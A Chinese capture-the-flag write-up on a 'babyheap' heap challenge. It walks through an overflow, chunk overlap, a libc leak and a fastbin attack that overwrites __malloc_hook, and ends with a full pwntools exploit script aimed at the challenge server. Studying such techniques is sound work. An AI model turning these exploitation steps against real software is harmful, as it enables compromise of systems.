本题非常适合作为例题引导入门,包含的漏洞以及利用的思路非常适合我这种新手理解堆漏洞的利用。
checksec:
64位全开,Full RELRO
我写这篇wp,忘记保存一次没了,后来重写到一半,win10崩了,这是第三次写了,我懒得再在ida里加注释了,这题伪代码是真的不友好。
函数名都是重命名的
menu
四个常规操作
Fill
漏洞点在这里,输入的长度由用户定,没有限制,造成溢出
Free
free后指针置0了,不存在UAF
Dump
思路
- 开了全部保护:
PIE:程序地址随机,需要泄露libc
RELRO:full,got表只读,考虑尝试劫持 __malloc_hook - 劫持 __malloc_hook 触发 one_gadget 拿shell
步骤:
一、通过构造一个 fast chunk 和 small chunk 重叠,将 small chunk 释放掉,再用 dump 函数打印 fast chunk 得到 main_arena 的地址,计算偏移。
二、通过 Fastbin Attack 申请 __malloc_hook 的 fake chunk 写入 one_gadget
调试:
0x0
首先需要四个 fast chunk 和一个 small chunk
alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x80)#4
free(1)#chunk1_fd->0x0
free(2)#chunk2_fd->chunk1_fd
此时需要使 chunk2_fd->chunk1_fd,来获得一个地址,而这几个 chunk 的地址不同仅在于最后一个字节,chunk0 的最后一个字节为 0x00,依次加 0x20 ,到 chunk4 则为 0x80。
0x1
要实现fast chunk 和 small chunk 重叠,需要将 small chunk 先并入 fastbin 链,通过修改其 size 再 free 掉即可绕过检查。
#让chunk2_fd -> chunk4
payload = 'a'*0x10 #chunk0_fd
payload += p64(0) + p64(0x21) #chunk1
payload += 'b'*0x10
payload += p64(0) + p64(0x21) #chunk2
payload += p8(0x80) #这里将原本指向的chunk1_fd改为了chunk4_fd
fill(0,payload)#从chunk0,溢出到chunk2_fd,使其指向chunk4_fd
#将chunk4的size改为0x21
payload = 'd'*0x10
payload += p64(0) + p64(0x21) #chunk4
fill(3,payload)
#!!!注意,这里由于原来的 chunk1 和 chunk2 没了,重新申请以后,原 chunk2 作为了 new chunk1,原 chunk1 不再使用,原 chunk4 同时以作为了 new chunk2,就是实现了 chunk 重叠
alloc(0x10)#new chunk1
alloc(0x10)#new chunk2,chunk4
payload = 'd'*0x10
payload += p64(0)+p64(0x91)
fill(3,payload)#再把 chunk4 的 size 改为 0x91
alloc(0x80)#此 chunk5 为了防止 chunk4 free 后并入 top chunk
free(4)#此时 chunk4 即是释放状态,由作为 new chunk2 在使用状态。与double free要实现的效果一样
从思路上,这里是一种 Fastbin Attack,目标地址为 chunk4,而 chunk4 又是在使用中的,就成了 "double malloc" 一样,与 double free有 一点相似。
free 掉 chunk4 后,它进入了 smallbin 且只有这一个 chunk,所以 bk 和 fd 都指向 mainarena ,再通过 dump(new chunk2) 来打印就成功泄露地址了
0x2
拿到 libc 的地址后,通过偏移计算得到\_malloc_hook 的地址
0x00007fe3277e4b78 - 0x7fe327420000 = 0x3c4b78
dump(2)
leak_addr=u64(p.recv(8))
offset = 0x3c4b78
libc_base = leak_addr - offset
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print('malloc_hook = ' + hex(malloc_hook))
0x3
再次利用 Fastbin Attack 拿到__malloc_hook 附近的 fake chunk 写入one_gadget。
- __malloc_hook 是一个弱类型的指针变量,当调用 malloc 函数的时候会判断 hook 指针是否为空,不为空则直接调用它。关于 fake chunk 的错位利用地址中的 0x7f 作为 size 就不再赘述了,之前的 Fastbin Attack 中讲过。
exp:
# -*- coding: UTF-8 -*-
from pwn import *
p=remote('node4.buuoj.cn',26427)
#p = process("./babyheap")
libc = ELF('./libc-2.23.so')
context.log_level='debug'
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
#申请chunk
alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x80)#4
free(1)#chunk1_fd->0x0
free(2)#chunk2_fd->chunk1_fd
#修改chunk2_fd指向
payload = 'a'*0x10 #chunk0
payload += p64(0) + p64(0x21) #chunk1
payload += 'b'*0x10
payload += p64(0) + p64(0x21) #chunk2
payload += p8(0x80)
fill(0,payload)#从chunk0,溢出到chunk2,使其指向chunk4
#修改chunk4_size
payload = 'd'*0x10
payload += p64(0) + p64(0x21)
fill(3,payload)#将chunk4的size改为0x21
alloc(0x10)#new chunk1
alloc(0x10)#new chunk2,chunk4
#再把chunk4的size改为0x91
payload = 'd'*0x10
payload += p64(0)+p64(0x91)
fill(3,payload)
alloc(0x80)#此chunk5为了防止chunk4 free后并如top chunk
free(4)
#进入smellbin后fd,bk指向main_arena,打印出来的就是main_arena的地址
dump(2)
leak_addr=u64(p.recv(8))
offset = 0x3c4b78
libc_base = leak_addr - offset
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print('malloc_hook = ' + hex(malloc_hook))
alloc(0x60)#把chunk4申请回来
free(4)#free掉,创建其0x70的fastbin链
fill(2,p64(malloc_hook - 0x3))#错位利用地址中的0x7f为size
alloc(0x60)#chunk4
alloc(0x60)#chunk6,目的地址
one_gadget = libc_base + 0x4526a
print('one_gadget:',hex(one_gadget))
payload=p8(0)*3 + p64(one_gadget)
fill(6,payload)
alloc(1)
p.interactive()